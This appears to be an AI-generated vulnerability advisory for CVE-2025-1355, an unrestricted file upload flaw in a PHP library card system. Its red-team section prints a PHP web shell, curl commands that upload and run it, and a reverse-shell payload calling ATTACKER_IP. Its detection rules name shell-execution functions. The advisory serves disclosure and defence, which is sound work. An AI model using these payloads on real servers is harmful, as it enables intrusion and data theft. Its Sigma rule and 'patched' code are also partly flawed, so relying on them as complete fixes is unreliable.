CVE-2025-1355

Executive Summary

CVE-2025-1355 is a critical unrestricted file upload vulnerability in the needyamin Library Card System version 1.0. The flaw exists in the /signup.php endpoint, specifically within the "Add Picture" component, allowing an unauthenticated remote attacker to upload arbitrary files, including web shells, to the server. This can lead to full remote code execution, data exfiltration, and complete compromise of the web application and underlying server. The vendor has not responded to disclosure, and no official patch is available. Public exploit code has been released, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a custom PHP application vulnerability.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – Exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full read access to system data.
• Integrity (I): High – Full write access to system files.
• Availability (A): High – Potential for denial of service or full system takeover.

Threat Level: Critical. The combination of public exploit, no patch, and low attack complexity makes this a high-priority threat for any organization using this software.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of /signup.php. The application fails to validate the file type, size, or content of uploaded images. By intercepting the upload request (e.g., via Burp Suite), an attacker can modify the Content-Type header and the file extension to upload a PHP web shell instead of an image.

Root Cause: The code likely uses a simple check like $_FILES['picture']['type'] which is easily spoofed, or no check at all. The uploaded file is then stored in a web-accessible directory (e.g., /uploads/), allowing direct access to the malicious file.

Attack Flow:

1. Attacker crafts a PHP web shell (e.g., shell.php) containing code like <?php system($_GET['cmd']); ?>.
2. Attacker sends a POST request to /signup.php with the malicious file in the picture field.
3. The server stores the file in the uploads directory.
4. Attacker accesses the uploaded shell via http://target/uploads/shell.php?cmd=id.
5. The server executes the command and returns the output.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
// signup.php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["picture"]["name"]);
move_uploaded_file($_FILES["picture"]["tmp_name"], $target_file);
?>

No validation of file type, size, or content.

Patched Code (Conceptual):

<?php
// signup.php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["picture"]["name"]);
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

// Check if image file is a actual image or fake image
$check = getimagesize($_FILES["picture"]["tmp_name"]);
if($check !== false) {
    // Allow only specific image formats
    if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif" ) {
        echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    } else {
        move_uploaded_file($_FILES["picture"]["tmp_name"], $target_file);
    }
} else {
    echo "File is not an image.";
}
?>

Uses getimagesize() to verify the file is a valid image and restricts file extensions.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install needyamin Library Card System 1.0 on a local server (e.g., XAMPP, LAMP).
2. Ensure the /uploads/ directory is writable by the web server.

Exploitation Steps:

1. Create a PHP web shell:

   <?php system($_GET['cmd']); ?>
   

   Save as shell.php.

2. Use curl to upload the shell:

   curl -X POST -F "picture=@shell.php" http://target/signup.php
   

3. Execute commands:

   curl http://target/uploads/shell.php?cmd=id
   

Advanced Payload (Reverse Shell):

<?php
$sock=fsockopen("ATTACKER_IP",4444);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

Blue Team (Defensive)

Detection Steps:

1. Monitor /signup.php for unusual file uploads (non-image MIME types, double extensions like shell.php.jpg).
2. Check /uploads/ directory for unexpected .php, .phtml, .php5 files.
3. Review web server logs for POST requests to /signup.php with large payloads or suspicious filenames.
4. Implement file integrity monitoring on the uploads directory.

Mitigation (Temporary):

• Disable file upload functionality in /signup.php until a patch is available.
• Restrict write permissions on the uploads directory (e.g., chmod 555).
• Use a Web Application Firewall (WAF) to block malicious file uploads.

Indicators of Compromise (IOCs)

File-Based IOCs:

• shell.php, cmd.php, r57.php, c99.php in /uploads/ directory.
• Any .php file in /uploads/ that is not an image.

Network IOCs:

• POST requests to /signup.php with Content-Type: multipart/form-data and a file field named picture containing PHP code.
• Outbound connections from the web server to attacker IPs on common ports (80, 443, 4444, 1337).
• HTTP requests to /uploads/*.php?cmd= or similar query strings.

Log IOCs:

• Web server logs showing POST /signup.php followed by GET /uploads/shell.php.
• Error logs showing PHP Warning: system() or similar function calls.

Detection Engineering

YARA Rule

rule CVE_2025_1355_WebShell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2025-1355"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-1355"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_func = "shell_exec("
        $exec_func = "exec("
        $passthru_func = "passthru("
        $popen_func = "popen("
        $proc_open_func = "proc_open("
        $backtick = "`"
    condition:
        $php_tag and any of ($system_func, $shell_func, $exec_func, $passthru_func, $popen_func, $proc_open_func, $backtick)
}

Sigma Rule

title: CVE-2025-1355 Unrestricted File Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /signup.php with PHP file uploads
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/signup.php'
        cs-content-type: 'multipart/form-data*'
    file_extension:
        cs-uri-query|contains: '.php'
    condition: selection and file_extension
falsepositives:
    - Legitimate PHP file uploads (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1355 Unrestricted File Upload Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/signup.php"; http.request_body; content:"Content-Disposition: form-data; name=\"picture\"; filename=\""; pcre:"/\.php[\x22\x20]/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable component: Remove or comment out the file upload functionality in /signup.php.
2. Restrict upload directory: Set the /uploads/ directory to read-only for the web server user.
3. Implement WAF rules: Block uploads of files with .php, .phtml, .php5, .shtml extensions.
4. Monitor for exploitation: Review logs for the IOCs listed above.

Long-Term Fix:

• The vendor has not responded. Consider migrating to an alternative library management system.
• If you must continue using this software, implement a custom patch:
  • Validate file type using getimagesize() or finfo.
  • Rename uploaded files to a random string with a safe extension (e.g., .jpg).
  • Store uploads outside the web root and serve them via a proxy script.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.